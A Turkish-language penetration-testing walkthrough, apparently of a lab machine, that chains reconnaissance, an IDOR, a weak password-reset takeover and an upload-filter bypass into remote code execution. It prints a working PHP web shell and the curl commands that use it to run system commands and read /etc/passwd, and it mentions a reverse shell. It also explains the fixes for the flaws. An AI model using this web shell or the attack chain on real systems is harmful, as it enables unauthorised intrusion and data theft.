Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemiz ve bundan sonra gelecek olan makalelerimizde bir pentest uzmanı gibi davranacağız SOC makalelerimizde bittiğine göre devam edelim. Bu makalemizde
Uygulamaya dokunmadan önce, neyle karşı karşıya olduğumuzu anlamamız gerekiyor. Her sızma testinde ilk aşama her zaman keşif (reconnaissance) aşamasıdır; yani hedef hakkında mümkün olduğunca fazla bilgi toplamak ve varsayımlarda bulunmamaktır.
Değerlendirmek için işe alındığınız bir binaya, önce dışını incelemeden, kapıları kontrol etmeden ve tabelaları okumadan girmezsiniz. Aynı prensip burada da geçerlidir.
Dört adet açık port olduğunu fark edebiliriz.
Bir gezinme çubuğunda (navigation bar) şu bağlantıları göreceksiniz:
Şimdi HTTP yanıt başlıklarını (HTTP response headers) da kontrol edelim:
Başlıklar (headers), sunucunun Apache 2.4.58 sürümünü çalıştırdığını doğruluyor.
PHPSESSID çerezi (cookie) ise PHP oturum yönetiminin kullanıldığını gösteriyor.
Artık kullanılan teknoloji yığınını (technology stack) biliyoruz:
Bu çıktı bize oldukça fazla bilgi veriyor. Önemli keşifleri tek tek inceleyelim:
http://10.114.180.2/login.php adresine gidin ve aşağıdaki bilgilerle oturum açın:
Sayfalar arasında gezinirken, özellikle kendi profilinizi görüntülerken URL yapısına dikkat edin.
IDOR "Insecure Direct Object References" (Güvensiz Doğrudan Nesne Referansları)
Artık doğrulanmış (authenticated) bir oturumumuz ve uygulamanın yapısına dair bir bilgimiz var. Şimdi güvenlik açıklarını incelemeye başlayabiliriz. Web uygulamalarında en yaygın ve sıklıkla gözden kaçan zafiyetlerden biri Güvensiz Doğrudan Nesne Referansı (Insecure Direct Object Reference - IDOR) açığıdır.
Bunu bir otel benzetmesiyle düşünün: Bir otelde kaldığınızı ve oda anahtarınızın sadece oda numaranız (örneğin 104) olduğunu varsayın. Ne elektronik bir kilit var ne de ek bir doğrulama; sadece numara. Sizi 105 numaralı odaya gitmekten ve kapıyı açmaktan alıkoyan hiçbir şey yoksa, bu durum aslında bir IDOR açığına benzer.
IDOR, bir uygulamanın nesnelere (kullanıcı profilleri, belgeler, siparişler vb.) erişmek için tahmin edilebilir bir tanımlayıcı kullanması ve bu nesneye erişen kullanıcının yetkisini yeterince doğrulamamasıdır.
Tarayıcınızın adres çubuğundaki URL’yi dikkatlice inceleyin:
Uygulama, profilinizi sayısal bir id parametresi üzerinden referans alıyor. Sizin hesabınız altıncı oluşturulan hesap olduğu için ID’niz 6.
Burada bir sızma testi uzmanının kendine sorması gereken en kritik soru şudur: Bu sayıyı değiştirirsem ne olur?
Bu isteği yaptığınızda sistem şu yanıtı döndürüyor:
Storage (Depolama) sekmesine gidin, ardından Cookies (Çerezler) bölümünü genişletin ve http://10.114.180.2 seçeneğini tıklayın.
Burada tüm çerezleri listelenmiş olarak göreceksiniz. PHPSESSID çerezini bulun ve değerini kopyalayın.
Az önce kullanıcı ID 1 olan Sarah Mitchell’in profilini görüntüledik. Kendisi bir yöneticidir (administrator). Uygulama, bu profili görüntüleme yetkisine sahip olup olmadığımızı kontrol etmedi. Sadece id değerini aldı, veritabanında sorguladı ve sonucu döndürdü.
Şimdi daha önce keşfettiğimiz API uç noktasının da aynı soruna sahip olup olmadığını kontrol edelim ve hatta bunun bir oturum çerezi (session cookie) bile gerektirip gerektirmediğine bakalım.
API, web sayfasından bile daha fazla bilgi ifşa ediyor. Kullanıcının adı, e-posta adresi, rolü ve hesap oluşturulma tarihi gibi bilgileri yapılandırılmış JSON formatında döndürüyor.
id parametresini 1’den 5’e kadar artırarak sistemdeki tüm kullanıcıları tek tek listeleyebiliriz.
Çözüm aslında oldukça basittir: Sunucu, kimliği doğrulanmış kullanıcının (authenticated user) gerçekten talep edilen nesneye erişim yetkisi olup olmadığını doğrulamalıdır. Ancak pratikte bu kontrol çoğu zaman eksik bırakılır veya tamamen unutulur.
Zayıf Parola Sıfırlama
Artık yöneticinin e-posta adresini biliyoruz: [email protected]. Bir sonraki hedefimiz onun hesabını ele geçirmek. Şifresini tahmin etmeye çalışmak yerine (bu uzun sürebilir ve hesap kilitlemelerini tetikleyebilir), parola sıfırlama mekanizmasını inceleyelim. Parola sıfırlama akışları, web uygulamalarında en sık bozulan özelliklerden biridir çünkü güvenli şekilde uygulanmaları karmaşıktır ve geliştiriciler genellikle kestirme yollar kullanır.
Bu bizim ilk önemli bulgumuz. Doğru şekilde tasarlanmış bir uygulamada, sıfırlama token’ı kullanıcıya e-posta ile gönderilir ve kesinlikle ekranda gösterilmez. Ancak bu uygulama token’ı doğrudan yanıt içinde (response) göstermektedir. Bu durum tek başına kendi şifremizi sıfırlamamıza izin verebilir, ancak asıl kritik soru şudur: Token kullanıcıya nasıl ve hangi şekilde paylaşılıyor?
Ancak 1 milyon değeri kaba kuvvet (brute-force) ile denemek yine de zaman alabilir. Bu yüzden daha dikkatli bakarak yöneticinin token’ını sıfırlamayı deneyelim. Bunun için [email protected] e-posta adresini kullanacağız ve şu sonucu elde edeceğiz:
Şimdi yeni parolayla giriş yaparak işlemi doğrulayalım.
Artık yönetici hesabıyla giriş yapmış durumdayız. Şimdiye kadar oluşan zinciri anlamak için bir an durup süreci değerlendirelim:
IDOR açığını kullanarak yöneticinin e-posta adresini keşfettik, ardından token’ları doğrudan yanıt içinde açığa çıkaran zayıf parola sıfırlama mekanizmasını istismar ettik. Bu zafiyetlerin hiçbiri tek başına yönetici erişimi sağlamazdı; ancak birleştirildiklerinde ciddi bir etkiye yol açtılar.
Admin Paneline Erişim
Artık Sarah Mitchell olarak, yani uygulamanın yöneticisi olarak giriş yapmış durumdayız. Daha önce keşif (enumeration) sırasında Gobuster, /admin adında bir yol bulmuştu ve kimliği doğrulanmamış kullanıcıları giriş sayfasına yönlendiriyordu.
Şimdi yönetici kimlik bilgilerimiz olduğuna göre, bu kapının arkasında ne olduğunu inceleyelim.
Admin paneli, birkaç yönetim sayfasını açığa çıkarır. Bunların çoğu standart yönetim işlevleridir, ancak biri hemen dikkat çeker:
Bir dosya yükleme (file upload) özelliğinin yönetici elinde bulunması oldukça güçlü bir yetenektir ve bir sızma testi uzmanı açısından bu, uzaktan kod çalıştırmaya (Remote Code Execution - RCE) giden potansiyel bir yol anlamına gelir.
Birçok önemli detayı fark edebiliriz. Formun PDF, DOCX ve resim dosyalarını kabul ettiği görülüyor. Dosya girişindeki accept özelliği dosya türlerini sınırlar, ancak bu yalnızca istemci tarafında (client-side) bir kısıtlamadır. Bu kısıtlama tarayıcı tarafından uygulanır, fakat doğrudan bir HTTP isteği gönderilerek istenilen dosya türü yüklenebilir. Sayfa ayrıca yükleme hedef dizinini de ortaya çıkarır: /uploads/documents/.
Dosya oluşturulduktan sonra bunu admin paneline yükleyin. Yükleme sayfasını açın, dosya giriş alanına sağ tıklayın ve Inspect (İncele) seçeneğini seçin. HTML içinde accept özniteliğini (attribute) bulun ve silerek (backspace ile) kaldırın; böylece tarayıcı artık dosya türlerini kısıtlamayacaktır. Şimdi dosyanızı doğrudan seçip yükleyin ve istemci tarafı kısıtlamayı (client-side restriction) aşarak dosyayı yükleyin.
Sunucu .txt dosyasını reddetti.
Yani sunucu tarafında (server-side) bir doğrulama mevcut. Peki bu doğrulama ne kadar kapsamlı? Sunucunun yalnızca dosya uzantısını mı kontrol ettiğini yoksa dosya içeriğini de denetleyip denetlemediğini test edelim. Bunun için aşağıdaki komutu kullanarak bir PHP dosyası oluşturalım:
Dosya oluşturulduktan sonra tekrar yüklemeyi deneyin. Hâlâ reddediliyor. Görünüşe göre uygulama, dosyanın son uzantısını kontrol ediyor.
Şimdi Apache’nin çoğu zaman PHP olarak işlediği .phtml uzantısını kullanarak yaygın bir atlatma (bypass) yöntemini deneyelim:
.phtml uzantısı kabul edildi. Uygulamanın dosya türü filtresi .php uzantısını engelliyor ancak PHP’nin işleyebildiği alternatif uzantıları hesaba katmıyor. Bu durum yaygın bir hatadır; geliştiriciler genellikle “tehlikeli” uzantılardan oluşan bir kara liste (blocklist) oluşturur, ancak sunucunun yine PHP olarak yorumladığı daha az yaygın uzantıları gözden kaçırırlar.
Yüklediğimiz dosyanın gerçekten çalışıp çalışmadığını doğrulamak için şu adresi ziyaret edelim:
Sunucu PHP kodunu çalıştırdı ve çıktıyı döndürdü. Böylece sunucuya PHP dosyası yükleyip çalıştırabildiğimizi doğrulamış olduk.
Uzaktan Kod yürütme
Sunucuya PHP dosyaları yükleyebildiğimizi ve sunucunun bunları çalıştırdığını doğrulamış olduk. Bu, sızma testinde önceki tüm adımların bir araya geldiği noktadır. Hiçbir şeyle başladık; ne kimlik bilgimiz ne de uygulama hakkında bir bilgimiz vardı. Keşif (enumeration), IDOR zafiyetinin istismarı, parola sıfırlama mekanizmasının kötüye kullanılması ve admin paneline erişim sayesinde, artık sunucu üzerinde rastgele komut çalıştırabilecek bir konuma ulaştık.
Bu betik, URL içinde bir cmd parametresi olup olmadığını kontrol eder. Eğer varsa, bu değeri shell_exec() fonksiyonuna iletir; bu fonksiyon komutu işletim sistemi üzerinde çalıştırır ve çıktısını döndürür.
Dosyayı admin paneli üzerinden şu adrese yükleyin:http://10.113.141.24/admin/upload.php
Artık uzaktan kod çalıştırma (RCE) elde etmiş durumdayız. Komutlar, Ubuntu üzerinde Apache web sunucusunun varsayılan kullanıcısı olan www-data yetkileriyle çalışıyor. Şimdi sistem hakkında daha fazla bilgi toplayalım:
Artık hostname’i, kernel sürümünü görebiliyoruz ve sistem üzerinde istediğimiz herhangi bir komutu çalıştırabiliyoruz.
Hassas Dosyaları Okuma (Reading Sensitive Files)
Sunucudaki dosyaları okuyabildiğimize göre, iyi bir ilk adım kullanıcıları listeleyen sistem dosyalarını kontrol etmektir. Linux’ta /etc/passwd dosyası temel hesap bilgilerini içerir:
Web shell’imizi kullanarak /etc/passwd dosyasına eriştik ve sistem kullanıcılarını tespit ettik. Gerçek bir senaryoda bu seviyedeki erişim, yapılandırma dosyalarını daha fazla incelememize ve veritabanı kimlik bilgilerini elde ederek uygulamanın arka uç verilerine tam erişim sağlamamıza imkân tanır.
İkinci bir terminalde, ters kabuğu (reverse shell) web shell üzerinden tetikleyin. Özel karakterlerle ilgili sorunları önlemek için payload’u URL-encode edeceğiz:
Dinleyici (listener) terminaline geri dönün:
Artık hedef sunucu üzerinde etkileşimli bir kabuk elde etmiş durumdayız. Buradan itibaren bir sızma testi uzmanı genellikle yerel keşif (local enumeration) ve yetki yükseltme (privilege escalation) aşamalarına geçer.
Saldırı Zinciri
Bir adım geri çekilip izlediğimiz tüm yolu inceleyelim. Bir sızma testi raporunda, müşteriye her bir zafiyetin genel ele geçirmeye nasıl katkıda bulunduğunu gösteren tüm zinciri belgeleyersiniz. İşte bizim zincirimiz:
Okuduğunuz için teşekkür ederim
Selamun aleyküm dostlarım. Bu makalemiz ve bundan sonra gelecek olan makalelerimizde bir pentest uzmanı gibi davranacağız SOC makalelerimizde bittiğine göre devam edelim. Bu makalemizde
- Keşif ve bilgi toplama (Reconnaissance and Enumeration) — Uygulamanın dışarıya hangi bilgileri sunduğunu keşfetmek
- Güvensiz Doğrudan Nesne Referansı (IDOR) — Başka kullanıcılara ait verilere erişmek
- Zayıf parola sıfırlama mekanizması — Hatalı bir parola sıfırlama sistemi üzerinden hesap ele geçirmek
- Yönetici paneline erişim — Normal bir kullanıcıdan yönetici yetkilerine yükselmek
- Uzaktan kod çalıştırma (RCE) — Yönetici işlevlerini kullanarak sunucu üzerinde komut çalıştırmak
Uygulamaya dokunmadan önce, neyle karşı karşıya olduğumuzu anlamamız gerekiyor. Her sızma testinde ilk aşama her zaman keşif (reconnaissance) aşamasıdır; yani hedef hakkında mümkün olduğunca fazla bilgi toplamak ve varsayımlarda bulunmamaktır.
Değerlendirmek için işe alındığınız bir binaya, önce dışını incelemeden, kapıları kontrol etmeden ve tabelaları okumadan girmezsiniz. Aynı prensip burada da geçerlidir.
Port Tarama (Port Scanning)
Hedef sistemde hangi servislerin çalıştığını keşfederek başlayalım. Bir terminal açın ve aşağıdaki Nmap taramasını çalıştırın:
Kod:
root@CW-ommah:~# nmap -sV -sC -p- 10.114.180.2
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-27 16:40 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.114.180.2
Host is up (0.00015s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: RecruitX \xE2\x80\x94 Home
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 06:B2:88:D5:C7:67 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.54 seconds
Dört adet açık port olduğunu fark edebiliriz.
- 22 numaralı port SSH servisidir; ilerleyen aşamalarda kimlik bilgileri elde edersek işimize yarayabilir.
- 80 numaralı port, Apache üzerinde çalışan hedef web uygulamasıdır.
- 3306 numaralı port, MySQL servisidir ve uygulamanın arka planda bir MySQL veritabanı kullandığını gösterir.
- 8080 numaralı port ise Apache’nin varsayılan sayfasını göstermektedir.
Uygulamayı Keşfetme (Exploring the Application)
Tarayıcınızı açın ve http://10.114.180.2 adresine gidin. RecruitX’in açılış sayfasını görmelisiniz. Herhangi bir şeye tıklamadan önce, sayfada neler bulunduğunu dikkatlice inceleyin.Bir gezinme çubuğunda (navigation bar) şu bağlantıları göreceksiniz:
- Home
- Jobs
- Login
- Register
Şimdi HTTP yanıt başlıklarını (HTTP response headers) da kontrol edelim:
Kod:
root@CW-ommah:~# curl -I http://10.114.180.2
HTTP/1.1 200 OK
Date: Fri, 27 Mar 2026 16:43:09 GMT
Server: Apache/2.4.58 (Ubuntu)
Set-Cookie: PHPSESSID=f05vg10cq16k3kq5vpurgpioqb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Başlıklar (headers), sunucunun Apache 2.4.58 sürümünü çalıştırdığını doğruluyor.
PHPSESSID çerezi (cookie) ise PHP oturum yönetiminin kullanıldığını gösteriyor.
Artık kullanılan teknoloji yığınını (technology stack) biliyoruz:
- Apache
- PHP
- MySQL
Dizin Keşfi (Directory Enumeration)
Şimdi, gezinme çubuğunda görünenlerin dışında hangi dizin ve dosyaların bulunduğunu keşfedelim. Bunun için yaygın bir kelime listesiyle birlikte Gobuster kullanacağız:
Kod:
root@cw-ommah:~# gobuster dir -u http://10.114.180.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.114.180.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 21600]
/profile.php (Status: 302) [Size: 0]
/login.php (Status: 200) [Size: 15107]
/jobs.php (Status: 200) [Size: 20288]
/uploads (Status: 301) [Size: 314]
/data (Status: 403) [Size: 277]
/admin (Status: 301) [Size: 312]
/test (Status: 200) [Size: 705]
/includes (Status: 301) [Size: 315]
/api (Status: 301) [Size: 310]
/logout.php (Status: 302) [Size: 0]
/config (Status: 301) [Size: 313]
/dashboard.php (Status: 302) [Size: 0]
/register.php (Status: 200) [Size: 17384]
/reset.php (Status: 200) [Size: 14408]
/.php (Status: 403) [Size: 277]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
- /admin — Bir yönetici paneli mevcut, ancak giriş sayfasına yönlendiriyor. Buna erişebilmek için kimlik bilgilerine ihtiyacımız olacak.
- /api — Bir API uç noktası bulunuyor. API’ler çoğu zaman, ön yüzün göstermediği verileri erişilebilir hale getirir.
- /reset.php — Bir parola sıfırlama sayfası mevcut. Parola sıfırlama mekanizmaları sıklıkla güvensiz şekilde uygulanır.
- /uploads — Bir dosya yükleme dizini bulunuyor. Eğer dosya yükleyebilirsek, bu durum uzaktan kod çalıştırmaya (RCE) giden bir yol olabilir.
- /profile.php ve /dashboard.php — Bu sayfalar kimlik doğrulaması gerektiriyor. Yani erişebilmek için giriş yapmış olmamız gerekiyor.
Bir Hesapla Giriş Yapma (Registering an Account)
Birçok sayfa kimlik doğrulaması gerektiriyor. Bu yüzden uygulamanın özelliklerini keşfedebilmek için bir hesapla giriş yapalım.http://10.114.180.2/login.php adresine gidin ve aşağıdaki bilgilerle oturum açın:
- E-posta: [email protected]
- Parola: Password123
- Açık pozisyonlar (Open Positions)
- Toplam başvurular (Total Applications)
- İş ilanlarını görüntüleme seçeneği (Browse Jobs)
Sayfalar arasında gezinirken, özellikle kendi profilinizi görüntülerken URL yapısına dikkat edin.
API’yi İnceleme (Exploring the API)
Daha önce Gobuster taraması sırasında /api adlı bir uç nokta keşfetmiştik. Şimdi bu endpoint’in dışarıya hangi bilgileri sunduğunu inceleyelim:
Kod:
root@CW-ommah:~# curl http://10.114.180.2/api/
{"endpoints":["\/api\/user","\/api\/jobs","\/api\/applications"]}
IDOR "Insecure Direct Object References" (Güvensiz Doğrudan Nesne Referansları)
Artık doğrulanmış (authenticated) bir oturumumuz ve uygulamanın yapısına dair bir bilgimiz var. Şimdi güvenlik açıklarını incelemeye başlayabiliriz. Web uygulamalarında en yaygın ve sıklıkla gözden kaçan zafiyetlerden biri Güvensiz Doğrudan Nesne Referansı (Insecure Direct Object Reference - IDOR) açığıdır.
Bunu bir otel benzetmesiyle düşünün: Bir otelde kaldığınızı ve oda anahtarınızın sadece oda numaranız (örneğin 104) olduğunu varsayın. Ne elektronik bir kilit var ne de ek bir doğrulama; sadece numara. Sizi 105 numaralı odaya gitmekten ve kapıyı açmaktan alıkoyan hiçbir şey yoksa, bu durum aslında bir IDOR açığına benzer.
IDOR, bir uygulamanın nesnelere (kullanıcı profilleri, belgeler, siparişler vb.) erişmek için tahmin edilebilir bir tanımlayıcı kullanması ve bu nesneye erişen kullanıcının yetkisini yeterince doğrulamamasıdır.
IDOR Açığını Bulma (Finding the IDOR)
Test kullanıcısı olarak giriş yaptıktan sonra, dashboard ekranının sağ üst köşesinde görünen kullanıcı adına (bu durumda Test) tıklayarak profil sayfanıza gidin.Tarayıcınızın adres çubuğundaki URL’yi dikkatlice inceleyin:
Kod:
http://10.114.180.2/profile.php?id=6
Burada bir sızma testi uzmanının kendine sorması gereken en kritik soru şudur: Bu sayıyı değiştirirsem ne olur?
Zafiyeti Test Etme (Testing the Vulnerability)
Şimdi id parametresini 1 olarak değiştirelim ve ne olacağını gözlemleyelim. Bunu doğrudan tarayıcı üzerinden veya curl ile yapabilirsiniz. Tarayıcıda şu URL’yi açmak yeterlidir:Bu isteği yaptığınızda sistem şu yanıtı döndürüyor:
Çerezleri (Cookies) Çıkarmak
Bu alıştırmada, oturum çerezine (session cookie) ihtiyacınız olacak. Bunu almak için sayfanın herhangi bir yerine sağ tıklayıp “Inspect” (İncele) seçeneğini seçin. Aşağıda gösterildiği gibi:Storage (Depolama) sekmesine gidin, ardından Cookies (Çerezler) bölümünü genişletin ve http://10.114.180.2 seçeneğini tıklayın.
Burada tüm çerezleri listelenmiş olarak göreceksiniz. PHPSESSID çerezini bulun ve değerini kopyalayın.
curl ile İsteği Test Etme
Neler döndüğünü tam olarak görebilmek için curl kullanabiliriz. İstek gönderirken oturum çerezini de eklediğinizden emin olun; bunun için PHPSESSID= kısmına kendi değeriniz yazılmalıdır.
Kod:
root@CW-ommah:~# curl -s -b "PHPSESSID=gs5ngd6duukc09agpdnj1o9tt2" "http://10.114.180.2/profile.php?id=1" | grep "fw-semibold"
<div class="fw-semibold mt-1">Sarah Mitchell</div>
<div class="fw-semibold mt-1 mono">[email protected]</div>
Şimdi daha önce keşfettiğimiz API uç noktasının da aynı soruna sahip olup olmadığını kontrol edelim ve hatta bunun bir oturum çerezi (session cookie) bile gerektirip gerektirmediğine bakalım.
Kod:
root@tryhackme:~# curl -s "http://10.114.180.2/api/user?id=1"
{"id":1,"name":"Sarah Mitchell","email":"[email protected]","role":"administrator","created":"2026-03-24"}
root@tryhackme:~# curl -s "http://10.114.180.2/api/user?id=2"
{"id":2,"name":"James Crawford","email":"[email protected]","role":"hiring_manager","created":"2026-03-24"}
id parametresini 1’den 5’e kadar artırarak sistemdeki tüm kullanıcıları tek tek listeleyebiliriz.
Neden Bu Önemli (Why This Matters)
IDOR zafiyetleri, web uygulamalarında en sık görülen güvenlik açıkları arasında sürekli olarak üst sıralarda yer alır. Bunun temel nedeni, geliştiricilerin kullanıcıların yalnızca kendi kaynaklarına erişeceğini varsaymasıdır. Ancak bir kullanıcı URL parametresini değiştirdiği anda bu varsayım geçerliliğini yitirir.Çözüm aslında oldukça basittir: Sunucu, kimliği doğrulanmış kullanıcının (authenticated user) gerçekten talep edilen nesneye erişim yetkisi olup olmadığını doğrulamalıdır. Ancak pratikte bu kontrol çoğu zaman eksik bırakılır veya tamamen unutulur.
Zayıf Parola Sıfırlama
Artık yöneticinin e-posta adresini biliyoruz: [email protected]. Bir sonraki hedefimiz onun hesabını ele geçirmek. Şifresini tahmin etmeye çalışmak yerine (bu uzun sürebilir ve hesap kilitlemelerini tetikleyebilir), parola sıfırlama mekanizmasını inceleyelim. Parola sıfırlama akışları, web uygulamalarında en sık bozulan özelliklerden biridir çünkü güvenli şekilde uygulanmaları karmaşıktır ve geliştiriciler genellikle kestirme yollar kullanır.
Sıfırlama Akışını Anlama (Understanding the Reset Flow)
http://10.114.180.2/reset.php adresine gidin. Burada sizden bir e-posta adresi isteyen basit bir form göreceksiniz. Öncelikle sürecin nasıl çalıştığını anlamak için kendi hesabımızla test edelim. Forma [email protected] adresini girin ve gönderin.Bu bizim ilk önemli bulgumuz. Doğru şekilde tasarlanmış bir uygulamada, sıfırlama token’ı kullanıcıya e-posta ile gönderilir ve kesinlikle ekranda gösterilmez. Ancak bu uygulama token’ı doğrudan yanıt içinde (response) göstermektedir. Bu durum tek başına kendi şifremizi sıfırlamamıza izin verebilir, ancak asıl kritik soru şudur: Token kullanıcıya nasıl ve hangi şekilde paylaşılıyor?
Token Analizi (Analysing the Token)
Kendi hesabınız için reset formunu birkaç kez daha göndererek bazı token’lar oluşturalım ve desen olup olmadığını inceleyelim:- Deneme 1: 784512
- Deneme 2: 291037
- Deneme 3: 503648
Ancak 1 milyon değeri kaba kuvvet (brute-force) ile denemek yine de zaman alabilir. Bu yüzden daha dikkatli bakarak yöneticinin token’ını sıfırlamayı deneyelim. Bunun için [email protected] e-posta adresini kullanacağız ve şu sonucu elde edeceğiz:
Yöneticinin Parolasını Sıfırlama (Resetting the Administrator's Password)
Artık ihtiyacımız olan her şeye sahibiz. Şimdi Sarah Mitchell’in şifresini sıfırlamak için token’ı kullanalım. Reset URL’sine gidin ve sizden yeni bir parola girmeniz istenecektir:Şimdi yeni parolayla giriş yaparak işlemi doğrulayalım.
Artık yönetici hesabıyla giriş yapmış durumdayız. Şimdiye kadar oluşan zinciri anlamak için bir an durup süreci değerlendirelim:
IDOR açığını kullanarak yöneticinin e-posta adresini keşfettik, ardından token’ları doğrudan yanıt içinde açığa çıkaran zayıf parola sıfırlama mekanizmasını istismar ettik. Bu zafiyetlerin hiçbiri tek başına yönetici erişimi sağlamazdı; ancak birleştirildiklerinde ciddi bir etkiye yol açtılar.
Ne Yanlış Gitti (What Went Wrong)
Parola sıfırlama mekanizmasında üç ayrı güvenlik açığı bulunuyordu:- Token’ın yanıtta görüntülenmesi: Token yalnızca hesap sahibinin e-posta adresine gönderilmeliydi, ekranda asla gösterilmemeliydi.
- Zayıf token üretimi: Altı haneli sayısal bir token, küçük bir anahtar uzayına sahiptir ve kaba kuvvet (brute-force) saldırılarına karşı savunmasızdır.
- Oran sınırlaması (rate limiting) yokluğu: Uygulama, parola sıfırlama istekleri veya token tahmin denemeleri için herhangi bir limit uygulamıyordu.
Admin Paneline Erişim
Artık Sarah Mitchell olarak, yani uygulamanın yöneticisi olarak giriş yapmış durumdayız. Daha önce keşif (enumeration) sırasında Gobuster, /admin adında bir yol bulmuştu ve kimliği doğrulanmamış kullanıcıları giriş sayfasına yönlendiriyordu.
Şimdi yönetici kimlik bilgilerimiz olduğuna göre, bu kapının arkasında ne olduğunu inceleyelim.
Admin Panelini Keşfetme (Exploring the Admin Dashboard)
Sarah Mitchell olarak giriş yaptığınız tarayıcıda http://10.114.180.2/admin adresine gidin.Admin paneli, birkaç yönetim sayfasını açığa çıkarır. Bunların çoğu standart yönetim işlevleridir, ancak biri hemen dikkat çeker:
Kod:
/admin/upload.php
Yükleme Fonksiyonunu İnceleme (Investigating the Upload Function)
Yükleme sayfasını inceleyelim. Upload butonuna sağ tıklayın ve Inspect (İncele) seçeneğine tıklayın; böylece istemci tarafı kodunu (client-side code) inceleyebilirsiniz:Birçok önemli detayı fark edebiliriz. Formun PDF, DOCX ve resim dosyalarını kabul ettiği görülüyor. Dosya girişindeki accept özelliği dosya türlerini sınırlar, ancak bu yalnızca istemci tarafında (client-side) bir kısıtlamadır. Bu kısıtlama tarayıcı tarafından uygulanır, fakat doğrudan bir HTTP isteği gönderilerek istenilen dosya türü yüklenebilir. Sayfa ayrıca yükleme hedef dizinini de ortaya çıkarır: /uploads/documents/.
Yükleme Kısıtlamalarını Test Etme (Testing the Upload Restrictions)
Sunucunun dosya türü kısıtlamalarını gerçekten uygulayıp uygulamadığını test edelim. Öncelikle, uygulamanın nasıl tepki verdiğini görmek için zararsız bir metin dosyası yüklemeyi deneyelim. Sistemimizde random bir text dosyası oluşturarak bunu test edelim
Kod:
root@CW-ommah:~# echo "This is a test file" > test.txt
Sunucu .txt dosyasını reddetti.
Yani sunucu tarafında (server-side) bir doğrulama mevcut. Peki bu doğrulama ne kadar kapsamlı? Sunucunun yalnızca dosya uzantısını mı kontrol ettiğini yoksa dosya içeriğini de denetleyip denetlemediğini test edelim. Bunun için aşağıdaki komutu kullanarak bir PHP dosyası oluşturalım:
Kod:
root@CW-ommah:~# echo '<?php echo "PHP is executing"; ?>' > test.php
Şimdi Apache’nin çoğu zaman PHP olarak işlediği .phtml uzantısını kullanarak yaygın bir atlatma (bypass) yöntemini deneyelim:
Kod:
root@tryhackme:~# echo '<?php echo "PHP is executing"; ?>' > test.phtml
Yüklediğimiz dosyanın gerçekten çalışıp çalışmadığını doğrulamak için şu adresi ziyaret edelim:
Kod:
http://SiTE_IP/uploads/documents/test.phtml
Uzaktan Kod yürütme
Sunucuya PHP dosyaları yükleyebildiğimizi ve sunucunun bunları çalıştırdığını doğrulamış olduk. Bu, sızma testinde önceki tüm adımların bir araya geldiği noktadır. Hiçbir şeyle başladık; ne kimlik bilgimiz ne de uygulama hakkında bir bilgimiz vardı. Keşif (enumeration), IDOR zafiyetinin istismarı, parola sıfırlama mekanizmasının kötüye kullanılması ve admin paneline erişim sayesinde, artık sunucu üzerinde rastgele komut çalıştırabilecek bir konuma ulaştık.
Web Shell Oluşturma
Web shell, HTTP parametreleri aracılığıyla komutları kabul eden ve bunları sunucu üzerinde çalıştıran küçük bir betiktir. Basit bir tane oluşturalım ve bunu shell.phtml olarak kaydedelim:
Kod:
<?php
if(isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
Bu betik, URL içinde bir cmd parametresi olup olmadığını kontrol eder. Eğer varsa, bu değeri shell_exec() fonksiyonuna iletir; bu fonksiyon komutu işletim sistemi üzerinde çalıştırır ve çıktısını döndürür.
Dosyayı admin paneli üzerinden şu adrese yükleyin:http://10.113.141.24/admin/upload.php
Komutları Çalıştırma (Executing Commands)
Kod çalıştırma yeteneğimizin olduğunu doğrulamak için basit bir komut çalıştıralım:
Kod:
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=whoami"
<pre>www-data</pre>
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
Kod:
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=hostname"
<pre>example-hostame</pre>
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=uname+-a"
<pre>Linux example-hostame 6.8.0-1017-aws #18-Ubuntu SMP Wed Oct 2 20:17:03 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux</pre>
Hassas Dosyaları Okuma (Reading Sensitive Files)
Sunucudaki dosyaları okuyabildiğimize göre, iyi bir ilk adım kullanıcıları listeleyen sistem dosyalarını kontrol etmektir. Linux’ta /etc/passwd dosyası temel hesap bilgilerini içerir:
Kod:
root@CW-ommah:~# curl "http://10.113.141.24/uploads/documents/shell.phtml?cmd=cat+/etc/passwd" | grep -v "nologin"
% Total % Received % Xferd Average Speed Time Time Time Current
